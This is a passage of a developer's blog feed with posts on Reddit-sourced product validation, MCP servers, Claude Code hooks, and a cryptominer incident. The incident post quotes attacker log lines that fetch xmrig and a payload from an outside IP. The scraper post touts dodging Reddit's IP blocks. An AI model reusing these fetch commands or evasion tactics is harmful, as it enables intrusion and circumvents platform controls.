create an app and get keys anymore. You have to submit a request form, explain your use case, and wait for approval. The approval that, according to r/redditdev, never comes. “Tickets rejected, modmail ignored, admin DM ignored.” One developer summed it up: “I don’t believe anyone is getting API access for small personal use at this point.”</p><p>They’re pushing everyone to Devvit, their walled-garden platform. JavaScript only. Runs on their servers. Limited to what they allow.</p><p>If you want Reddit data for your own tools, you either pay enterprise rates, beg for approval, or use public endpoints like a normal browser would. I chose option three.</p><p>GummySearch learned this the hard way. They built a Reddit research tool, hit $11k/month MRR, served 135,000 users. Then Reddit wouldn’t give them a commercial license. They’re<a href="https://gummysearch.com/final-chapter/" rel="external nofollow noopener" class="lnp-link">shutting down by December 2026</a>. The founder didn’t want to operate “looking over your shoulder every day.”</p><p>Public endpoints don’t have that problem. Same data. No license to revoke.</p><p>I had the tool pointed at r/Supabase, watching for pain points. Standard demand validation stuff.</p><p>It surfaced a pattern across multiple threads.<a href="https://www.reddit.com/r/Supabase/comments/1joufox/im_a_massproject_starter_supabase_aint_for_me/" rel="external nofollow noopener" class="lnp-link">“I’m a mass-project starter. Supabase ain’t for me?”</a> (41 upvotes, 27 comments).<a href="https://www.reddit.com/r/Supabase/comments/1i3mduv/is_selfhosting_supabase_worth_it/" rel="external nofollow noopener" class="lnp-link">“Is Self-Hosting Supabase Worth It?”</a> (73 upvotes, 60 comments).</p><p>The pain: Supabase’s free tier caps you at 2 projects. Pro tier is $25/month plus $10 per additional project. If you’re an indie dev shipping lots of small bets, you burn through that limit fast.</p><p>Supabase is genuinely great for rapid prototyping—I use it myself. The pricing just doesn’t fit the small bets workflow.</p><p>The comments were gold:</p><blockquote><p>“It feels like a bait-and-switch where the upgrade appears to remove project limits, only to hit you with unexpected per-project fees”</p><p>“Setting it up properly takes time, maintaining it takes time, keeping the server secure takes time”</p></blockquote><blockquote><p>“The setup process is extensive, unclear and often frustrating”</p><p>“Very strange pricing model, which is kind of unacceptable”</p></blockquote><p><strong>Translation:</strong> Indie devs love Supabase for building fast. They hate the pricing when they ship a lot. They want to self-host but are terrified of maintaining it.</p><h1 id="the-evaluation"><strong>The Evaluation</strong></h1><p>I have a framework for this. Open source project + operational complexity + permissive license = potential hosting business. I’ve been running variations of this for a while.</p><p>I asked Claude—right there in the same session—to run the threads through the framework:</p><p><strong>Pain point</strong>: Real. Multi-project pricing punishes prolific shippers.<br><strong>License</strong>: Apache 2.0. Clear.<br><strong>Operational complexity</strong>: High. Supabase runs ~12 services.<br><strong>Existing managed option</strong>: Yes, but that’s the pain source—not the solution.</p><p>Then the key insight: I’m not competing with Supabase Cloud on hosting. I’m offering care and feeding for self-hosted instances. Different model entirely.</p><ul><li><p>They bring their own VPS (Hetzner, $10-15/month)</p></li><li><p>I handle upgrades, backups, security</p></li><li><p>Fixed monthly fee: $25. Unlimited instances.</p></li></ul><p>One customer with 5 projects: $25 from me + $15 VPS = $40 total vs $75 on Supabase Cloud.</p><h1 id="the-build"><strong>The Build</strong></h1><p>Here’s where it gets fast.</p><p>I told Claude:</p><p>“Create a landing page. Tailwind, not CDN. Minimal. Dev-focused. Static HTML.”</p><p>Claude scaffolded the project structure, wrote the copy, set up the build pipeline. I tweaked the value prop and added my ConvertKit form.</p><p>Then:</p><p>“Push to GitHub, I’ll deploy to Cloudflare Pages.”</p><p>Done.</p><p>Total time building the landing page: maybe 20 minutes. Most of that was me fiddling with colors.</p><h1 id="the-stack"><strong>The Stack</strong></h1><p>For the curious:</p><p><strong>Landing page</strong>: Static HTML, Tailwind CSS, Cloudflare Pages<br><strong>Waitlist</strong>: ConvertKit embed<br><strong>Domain</strong>: Namecheap (purchase) → Cloudflare (DNS)<br><strong>Total cost so far</strong>: $12 for the domain</p><p>The actual product will be FastAPI + Supabase (yes, the irony) + HTMX. SSH into customer VMs. Cron jobs for backups. Simple. I can ship a working beta this week.</p><h1 id="the-point"><strong>The Point</strong></h1><p>This isn’t about Supabyoi specifically. It’s about the workflow.</p><p><strong>Old way</strong>:</p><ol><li><p>Have idea</p></li><li><p>Think about it for weeks</p></li><li><p>Research competitors</p></li><li><p>Write PRD</p></li><li><p>Design mockups</p></li><li><p>Build MVP</p></li><li><p>Realize nobody wants it</p></li><li><p>Total time: 3 months</p></li></ol><p><strong>New way</strong>:</p><ol><li><p>Tool surfaces interesting signal</p></li><li><p>Ask Claude to validate against framework</p></li><li><p>Ask Claude to build landing page</p></li><li><p>Ship</p></li><li><p>See if anyone signs up</p></li><li><p>Total time: 1 hour</p></li></ol><p>The landing page is a hypothesis test. Not a commitment. If I get 50 waitlist signups, I build the thing. If I get 5, I move on. The cost of being wrong is $12 and an hour of my time.</p><h1 id="about-that-reddit-tool"><strong>About That Reddit Tool</strong></h1><p>I’ve been quietly building this for months. It’s how I found the signal that led to this post.</p><p>The key: it lives inside Claude Code. Not a separate app. Not a browser tab. Right there in my terminal, in the same session where I’m writing code and shipping products.</p><p>The architecture: Crawler runs locally or on your VPS (Reddit can’t shut you down if they can’t block your IP). Data syncs to a backend. You query it with natural language through Claude. “What are people complaining about in r/Supabase?” → ranked list of pain points with source threads. Then in the same breath: “Evaluate this against my validation framework.” Then: “Build me a landing page.”</p><p>One session. Research to shipping.</p><p>No Reddit API keys because Reddit killed self-service access. Uses public endpoints. Same data you’d see browsing the site. Your IP, your rate limits, no approval form that never gets answered.</p><p>I’m not ready to launch it yet, but if you want early access, DM me on<a href="https://linkedin.com/in/lakshminp" rel="external nofollow noopener" class="lnp-link">LinkedIn</a> or<a href="https://x.com/lakshminp" rel="external nofollow noopener" class="lnp-link">Twitter/X</a>.</p><h1 id="the-takeaway"><strong>The Takeaway</strong></h1><p>The leverage is real. One person, one AI assistant, one hour, one live product.</p><p>The bottleneck isn’t building anymore. It’s finding the right thing to build. That’s why the Reddit tool matters more than the Supabase thing. The tool finds signals. Claude validates them. Claude builds the test. You watch the data.</p><p>Small bets at scale.</p><p><a href="https://supabyoi.com/" rel="external nofollow noopener" class="lnp-link">supabyoi.com</a> is live. Let’s see what happens.</p><p><code>&lt;fingers-crossed/&gt;</code></p>
]]></content:encoded></item><item><title>Your MCP Servers Are Eating Your Context</title><link>https://lakshminp.com/2026/01/mcp-server-context-bloat/</link><pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/mcp-server-context-bloat/</guid><category>essays</category><category>ai-coding</category><description>I love MCP. Model Context Protocol is genuinely one of the best things to happen to Claude Code.
I also hate MCP.
Because every MCP server I add is another pile of tool definitions crammed into my context window. Supabase. Betterstack. Sentry. Playwright. Each one brings 5-15 tools. That’s 40+ tool definitions sitting there, burning tokens, even when I’m just asking Claude to fix a typo.
The technical term for this is “token bloat.” The accurate term is “I’m paying for tools I’m not using.”</description><content:encoded>&lt;![CDATA[<p>I love MCP. Model Context Protocol is genuinely one of the best things to happen to Claude Code.</p><p>I also hate MCP.</p><p>Because every MCP server I add is another pile of tool definitions crammed into my context window. Supabase. Betterstack. Sentry. Playwright. Each one brings 5-15 tools. That’s 40+ tool definitions sitting there, burning tokens, even when I’m just asking Claude to fix a typo.</p><p>The technical term for this is “token bloat.” The accurate term is “I’m paying for tools I’m not using.”</p><h1 id="the-obvious-solution-that-doesnt-work"><strong>The Obvious Solution (That Doesn’t Work)</strong></h1><p>“Just load MCPs on demand!”</p><p>Revolutionary concept. Except Claude Code doesn’t support hot-reloading MCP servers. You pick your MCPs at session start, and that’s your life now. Want to add Sentry mid-session? Restart. Lose your context. Start over.</p><p>Nobody should have to live like that.</p><h1 id="the-agent-escape-hatch"><strong>The Agent Escape Hatch</strong></h1><p>Here’s where it gets interesting.</p><p>Claude Code has agents. Agents can spawn with specific tools. So naturally, I thought: what if I keep my main session lean, and spawn agents when I need MCP access?</p><p>Main session stays clean. Agent does the Supabase query. Returns results. Everybody’s happy.</p><p>Except.</p><h1 id="the-inheritance-problem"><strong>The Inheritance Problem</strong></h1><p>Agents inherit MCP tools from their parent session.</p><p>Read that again.</p><p>If I want my debug agent to call Supabase, Supabase MCP must be loaded in my main session. The agent can<em>restrict</em> which tools it uses, but it can’t access tools the parent doesn’t have.</p><p>So I’m back to loading everything upfront. The bloat remains. The horror.</p><h1 id="poor-mans-mcp"><strong>Poor Man’s MCP</strong></h1><p>Fine. If agents can’t get MCP tools independently, maybe they don’t need MCP at all.</p><p>Agents have Bash. Bash has curl. These services have REST APIs.</p><p>What if I wrote thin wrapper scripts?</p><pre><code>debug-api sentry-issue PROJ-123
debug-api supabase-query users "id=eq.abc123"
debug-api betterstack-logs "error" --from "2024-01-15"</code></pre><p>Each wrapper hits the API directly, returns JSON. Agent calls wrappers, correlates results, returns findings. Main session stays lean.</p><p>I even started designing a mini-spec. Self-describing tools via<code>--tools</code>. Consistent JSON envelope. Exit codes for quick status checks.</p><p>MCP-lite. Poor man’s MCP. Whatever you want to call it.</p><p>It would work. But I’d be rebuilding what MCP already does, just&hellip; worse.</p><h1 id="wait-why-cant-agents-just-call-mcp-directly"><strong>Wait. Why Can’t Agents Just Call MCP Directly?</strong></h1><p>This is where my brain finally caught up.</p><p>MCP servers are just processes. They communicate via JSON-RPC over stdio. Claude Code starts them, maintains connections, sends calls.</p><p>An agent with Bash could do the same thing.</p><p>Start server. Send JSON-RPC. Parse response. Kill server.</p><p>No inheritance needed. The agent IS the MCP client.</p><h1 id="the-tool-that-already-exists"><strong>The Tool That Already Exists</strong></h1><p>Before I started writing my own MCP client in bash (a decision I would have regretted), I searched.</p><p><a href="https://github.com/f/mcptools" rel="external nofollow noopener" class="lnp-link">mcptools</a> exists.</p><pre><code>brew install f/tap/mcp
# List available tools
mcp tools @supabase/mcp-server
# Call a tool directly
mcp call @supabase/mcp-server query '{"sql": "SELECT * FROM users"}'</code></pre><p>Start server. Make call. Get result. Server shuts down.</p><p>This is the missing piece.</p><h1 id="the-pattern-im-testing"><strong>The Pattern I’m Testing</strong></h1><pre><code>Main Session (ZERO MCP tools loaded)
|
└── spawn debug-backend agent
|
├── mcp call @supabase/mcp-server query '{...}'
├── mcp call @sentry/mcp-server get-issue '{...}'
└── mcp call @betterstack/mcp-server search '{...}'
|
Returns structured findings</code></pre><p>Main session keeps full conversation context. Agent spawns with just Bash. Agent discovers and calls MCP tools on-demand. Zero token bloat.</p><p>For frontend debugging, same pattern with Playwright:</p><pre><code>mcp call @playwright/mcp-server navigate '{"url": "..."}'
mcp call @playwright/mcp-server screenshot '{}'</code></pre><h1 id="what-im-still-figuring-out"><strong>What I’m Still Figuring Out</strong></h1><p>I haven’t battle-tested this yet. Open questions:</p><ul><li><p><strong>Auth handling</strong>: Do all MCP servers pick up env vars correctly when spawned fresh?</p></li><li><p><strong>Cold start latency</strong>: Is spawning a server per-call too slow for rapid iteration?</p></li><li><p><strong>Error recovery</strong>: What happens when the MCP server crashes mid-call?</p></li><li><p><strong>Which servers play nice</strong>: Some MCP servers might not like the start-stop lifecycle.</p></li></ul><p>If you try this pattern, let me know what breaks.</p><h1 id="the-punchline"><strong>The Punchline</strong></h1><p>I spent hours designing “MCP-lite” before realizing I could just&hellip; call MCP directly from agents.</p><p>Learn from my suffering.</p><p>The tools exist. The pattern is sound. The token bloat is optional.</p><p>Now I just need to actually use this for a month and see what explodes.</p>
]]></content:encoded></item><item><title>I Found a Cryptominer in My Client's Production Cluster. Claude Code Found the Attacker.</title><link>https://lakshminp.com/2026/01/cryptominer-production-cluster/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/cryptominer-production-cluster/</guid><category>essays</category><category>kubernetes</category><category>claude-code</category><description>New Year’s Day. Coffee in hand. Ready to ease back into work.
Then I saw the logs.
2026-01-02T06:34:27 GET xmrig-6.24.0-linux-static-x64.tar.gz 2026-01-02T06:34:30 GET http://37.32.6.33:7979/m 2026-01-02T06:34:30 spawn /opt/systemf/m ENOENT xmrig. In production. Someone was mining Monero on my client’s Kubernetes cluster.
The horror.
The Investigation I had a few hundred megabytes of JSON logs and approximately zero patience for manually correlating timestamps. So I did what any reasonable person would do: I asked Claude Code to analyze the logs and figure out what triggered the miner download.</description><content:encoded>&lt;![CDATA[<p>New Year’s Day. Coffee in hand. Ready to ease back into work.</p><p>Then I saw the logs.</p><pre><code>2026-01-02T06:34:27 GET xmrig-6.24.0-linux-static-x64.tar.gz
2026-01-02T06:34:30 GET http://37.32.6.33:7979/m
2026-01-02T06:34:30 spawn /opt/systemf/m ENOENT</code></pre><p>xmrig. In production. Someone was mining Monero on my client’s Kubernetes cluster.</p><p>The horror.</p><h2 id="the-investigation"><strong>The Investigation</strong></h2><p>I had a few hundred megabytes of JSON logs and approximately zero patience for manually correlating timestamps. So I did what any reasonable person would do: I asked Claude Code to analyze the logs and figure out what triggered the miner download.</p><p>Within seconds, it built a timeline:</p><p><strong>Time Event</strong></p><p>06:34:26. Normal request to /onboarding</p><p>06:34:27. xmrig downloaded from GitHub</p><p>06:34:30. Secondary payload from sketchy IP</p><p>06:34:57. Container OOMKilled</p><p>The cryptominer was so resource-hungry it consumed 2GB of memory in 30 seconds and crashed the container. Ironic. The attacker’s greed saved us from a prolonged compromise.</p><p>But how did they get in?</p><h2 id="chasing-red-herrings"><strong>Chasing Red Herrings</strong></h2><p>Claude Code’s first suspect: a low-version npm package called<code>device-unique-keygen</code>. Added by a developer whose email matched the package maintainer. Classic supply chain attack pattern.</p><p>I got excited. Maybe too excited.</p><p>Claude Code fetched the GitHub repo, analyzed the source code, checked for postinstall scripts, looked for obfuscated code, searched for eval() calls.</p><p>Nothing. The package was clean. Just a browser fingerprinting library. Boring. Legitimate.</p><p>We moved on.</p><p>No malicious init containers. No sidecars. No .ashrc shenanigans. The Dockerfile was clean. The pod spec was clean.</p><p>Everything was clean except someone was definitely mining crypto on our infrastructure.</p><h2 id="the-actual-answer"><strong>The Actual Answer</strong></h2><p>Claude Code ran<code>npm audit</code> on the codebase.</p><pre><code>critical │ Next.js is vulnerable to RCE in React flight protocol
Package │ next
Patched │ &gt;=15.3.6
Your ver │ 15.3.4
CVSS │ 10.0</code></pre><figure><a href="https://substackcdn.com/image/fetch/$s_!FrM8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png" class="image-link image2 is-viewable-img" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":765,"width":1247,"resizeWidth":null,"bytes":128814,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://lakshminp.substack.com/i/183314492?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!FrM8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png 424w, https://substackcdn.com/image/fetch/$s_!FrM8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png 848w, https://substackcdn.com/image/fetch/$s_!FrM8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png 1272w, https://substackcdn.com/image/fetch/$s_!FrM8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5bcacd-085e-465e-85f7-03955737439e_1247x765.png 1456w" sizes="100vw" loading="lazy" width="1247" height="765"/><img src="data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDIwIDIwIiBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSJ2YXIoLS1jb2xvci1mZy1wcmltYXJ5KSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxnPjx0aXRsZT48L3RpdGxlPjxwYXRoIGQ9Ik0yLjUzMDAxIDcuODE1OTVDMy40OTE3OSA0LjczOTExIDYuNDMyODEgMi41IDkuOTExNzMgMi41QzEzLjE2ODQgMi41IDE1Ljk1MzcgNC40NjIxNCAxNy4wODUyIDcuMjM2ODRMMTcuNjE3OSA4LjY3NjQ3TTE3LjYxNzkgOC42NzY0N0wxOC41MDAyIDQuMjY0NzFNMTcuNjE3OSA4LjY3NjQ3TDEzLjY0NzMgNi45MTE3Nk0xNy40OTk1IDEyLjE4NDFDMTYuNTM3OCAxNS4yNjA5IDEzLjU5NjcgMTcuNSAxMC4xMTc4IDE3LjVDNi44NjExOCAxNy41IDQuMDc1ODkgMTUuNTM3OSAyLjk0NDMyIDEyLjc2MzJMMi40MTE2NSAxMS4zMjM1TTIuNDExNjUgMTEuMzIzNUwxLjUyOTMgMTUuNzM1M00yLjQxMTY1IDExLjMyMzVMNi4zODIyNCAxMy4wODgyIiAvPjwvZz48L3N2Zz4="/><img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLW1heGltaXplMiBsdWNpZGUtbWF4aW1pemUtMiI+PHBvbHlsaW5lIHBvaW50cz0iMTUgMyAyMSAzIDIxIDkiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOSAyMSAzIDIxIDMgMTUiPjwvcG9seWxpbmU+PGxpbmUgeDE9IjIxIiB4Mj0iMTQiIHkxPSIzIiB5Mj0iMTAiPjwvbGluZT48bGluZSB4MT0iMyIgeDI9IjEwIiB5MT0iMjEiIHkyPSIxNCI+PC9saW5lPjwvc3ZnPg==" class="lucide lucide-maximize2 lucide-maximize-2"/></figure><p>CVSS 10. The maximum possible score. The “your house is actively on fire” of security ratings.</p><p>The app was running Next.js 15.3.4. A publicly disclosed RCE vulnerability. No authentication required. An attacker could run arbitrary commands on the server by sending a crafted request.</p><p>That’s exactly what happened. They sent a request, ran wget twice, downloaded the miner, and started extracting crypto value from compute cycles they weren’t paying for.</p><p>The container’s memory limit stopped them. A $20/month Kubernetes resource limit prevented what could have been ongoing theft.</p><h2 id="what-claude-code-actually-did"><strong>What Claude Code Actually Did</strong></h2><p>I want to be clear about what happened here. I didn’t single-handedly unravel a sophisticated attack. I didn’t manually correlate log timestamps or reverse-engineer obfuscated npm packages.</p><p>I said “check these logs” and Claude Code:</p><ul><li><p>Built a timeline from JSON log entries</p></li><li><p>Identified the malware artifacts and C2 server</p></li><li><p>Traced git blame to find who added suspicious packages</p></li><li><p>Fetched and analyzed source code from GitHub</p></li><li><p>Ruled out attack vectors one by one</p></li><li><p>Found the actual vulnerability via npm audit</p></li><li><p>Correlated the OOMKill timing with the attack</p></li><li><p>Suggested remediation and forensic preservation steps</p></li></ul><p>The entire investigation took under an hour. Not because I’m fast. Because Claude Code is.</p><h2 id="the-fix"><strong>The Fix</strong></h2><pre><code>pnpm update next@^15.3.6</code></pre><p>One command. That’s the remediation for a CVSS 10.0 vulnerability.</p><p>We also orphaned the compromised pods for forensic analysis, rotated secrets, and added proper security contexts to prevent future wget adventures.</p><figure><a href="https://substackcdn.com/image/fetch/$s_!bCvw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png" class="image-link image2 is-viewable-img" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":772,"width":1344,"resizeWidth":null,"bytes":121268,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://lakshminp.substack.com/i/183314492?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!bCvw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png 424w, https://substackcdn.com/image/fetch/$s_!bCvw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png 848w, https://substackcdn.com/image/fetch/$s_!bCvw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png 1272w, https://substackcdn.com/image/fetch/$s_!bCvw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F654c9829-43d6-46a6-8405-abfd7b305b80_1344x772.png 1456w" sizes="100vw" loading="lazy" width="1344" height="772"/><img src="data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDIwIDIwIiBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSJ2YXIoLS1jb2xvci1mZy1wcmltYXJ5KSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxnPjx0aXRsZT48L3RpdGxlPjxwYXRoIGQ9Ik0yLjUzMDAxIDcuODE1OTVDMy40OTE3OSA0LjczOTExIDYuNDMyODEgMi41IDkuOTExNzMgMi41QzEzLjE2ODQgMi41IDE1Ljk1MzcgNC40NjIxNCAxNy4wODUyIDcuMjM2ODRMMTcuNjE3OSA4LjY3NjQ3TTE3LjYxNzkgOC42NzY0N0wxOC41MDAyIDQuMjY0NzFNMTcuNjE3OSA4LjY3NjQ3TDEzLjY0NzMgNi45MTE3Nk0xNy40OTk1IDEyLjE4NDFDMTYuNTM3OCAxNS4yNjA5IDEzLjU5NjcgMTcuNSAxMC4xMTc4IDE3LjVDNi44NjExOCAxNy41IDQuMDc1ODkgMTUuNTM3OSAyLjk0NDMyIDEyLjc2MzJMMi40MTE2NSAxMS4zMjM1TTIuNDExNjUgMTEuMzIzNUwxLjUyOTMgMTUuNzM1M00yLjQxMTY1IDExLjMyMzVMNi4zODIyNCAxMy4wODgyIiAvPjwvZz48L3N2Zz4="/><img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLW1heGltaXplMiBsdWNpZGUtbWF4aW1pemUtMiI+PHBvbHlsaW5lIHBvaW50cz0iMTUgMyAyMSAzIDIxIDkiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOSAyMSAzIDIxIDMgMTUiPjwvcG9seWxpbmU+PGxpbmUgeDE9IjIxIiB4Mj0iMTQiIHkxPSIzIiB5Mj0iMTAiPjwvbGluZT48bGluZSB4MT0iMyIgeDI9IjEwIiB5MT0iMjEiIHkyPSIxNCI+PC9saW5lPjwvc3ZnPg==" class="lucide lucide-maximize2 lucide-maximize-2"/></figure><h2 id="the-lesson"><strong>The Lesson</strong></h2><p>Two things saved us:</p><ol><li><p>Centralized logging (couldn’t investigate without the logs)</p></li><li><p>Memory limits (the attacker’s miner killed itself)</p></li></ol><p>One thing would have prevented this entirely: running<code>npm audit</code> before deployment.</p><p>The attacker exploited a vulnerability that was publicly disclosed and patched. We just hadn’t updated yet.</p><p>Godspeed with your own dependency updates.</p><p>My Medium friends can read this<a href="https://medium.com/@lakshminp/i-found-a-cryptominer-in-my-clients-production-cluster-claude-code-found-the-attacker-ae6148ec0514" rel="external nofollow noopener" class="lnp-link">over there</a> as well.</p>
]]></content:encoded></item><item><title>Claude Code Hooks: The Feature You're Ignoring While Babysitting Your AI</title><link>https://lakshminp.com/2026/01/claude-code-hooks/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/claude-code-hooks/</guid><category>essays</category><category>claude-code</category><description>You’re doing it again.
Claude just edited a file. You’re about to type “now run prettier.” For the fourteenth time today. Like some kind of digital hall monitor.
Meanwhile, there’s a feature sitting right there in Claude Code that would do this automatically. It’s called hooks. And based on my extremely scientific survey of Reddit threads, approximately nobody is using them.
What Hooks Actually Are When Claude Code runs, it fires events. Before it uses a tool. After it uses a tool. When it stops. When it sends a notification.</description><content:encoded>&lt;![CDATA[<p>You’re doing it again.</p><p>Claude just edited a file. You’re about to type “now run prettier.” For the fourteenth time today. Like some kind of digital hall monitor.</p><p>Meanwhile, there’s a feature sitting right there in Claude Code that would do this automatically. It’s called hooks. And based on my extremely scientific survey of Reddit threads, approximately nobody is using them.</p><h1 id="what-hooks-actually-are"><strong>What Hooks Actually Are</strong></h1><p>When Claude Code runs, it fires events. Before it uses a tool. After it uses a tool. When it stops. When it sends a notification.</p><p>Hooks let you intercept these events and run shell commands automatically.</p><p>That’s it. That’s the whole concept.</p><p>Claude edits a file? Run your formatter. Claude finishes a task? Send yourself a Slack message. Claude tries to commit? Run your linter first.</p><p>No more babysitting. No more “please remember to run prettier.” You set it once and forget it exists.</p><h1 id="the-three-hooks-that-actually-matter"><strong>The Three Hooks That Actually Matter</strong></h1><p>I spent way too long reading Reddit threads about hooks. Here’s what power users actually care about:</p><h2 id="1-the-formatter-hook"><strong>1. The Formatter Hook</strong></h2><p>This is the most common one. Claude edits your code, your formatter runs automatically.</p><pre><code>{
"hooks": {
"PostToolUse": [
{
"matcher": "Write|Edit|MultiEdit",
"hooks": [
{
"type": "command",
"command": "prettier --write $CLAUDE_FILE_PATH"
}
]
}
]
}
}</code></pre><p>No more “can you run prettier on that?” Revolutionary concept, I know.</p><h2 id="2-the-notification-hook"><strong>2. The Notification Hook</strong></h2><p>You kicked off a task. You walked away to make coffee. Now you’re checking your terminal every 30 seconds like a nervous parent.</p><pre><code>{
"hooks": {
"Stop": [
{
"matcher": "",
"hooks": [
{
"type": "command",
"command": "curl -d 'Claude is done' ntfy.sh/your-topic"
}
]
}
]
}
}</code></pre><p>Send it to Slack. Send it to Discord. One person made their Mac speak out loud. Another person made Claude meow. (Allergies. I don’t judge.)</p><h2 id="3-the-please-remember-your-instructions-hook"><strong>3. The “Please Remember Your Instructions” Hook</strong></h2><p>This one solves a specific pain that will sound familiar: Claude compacts its context to save tokens. In doing so, it sometimes&hellip; forgets things. Important things. Things you put in your<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>.</p><p>The fix? Re-inject your core rules on every prompt:</p><pre><code>{
"hooks": {
"PreToolUse": [
{
"matcher": "UserPromptSubmit",
"hooks": [
{
"type": "command",
"command": "cat .claude/rules.txt"
}
]
}
]
}
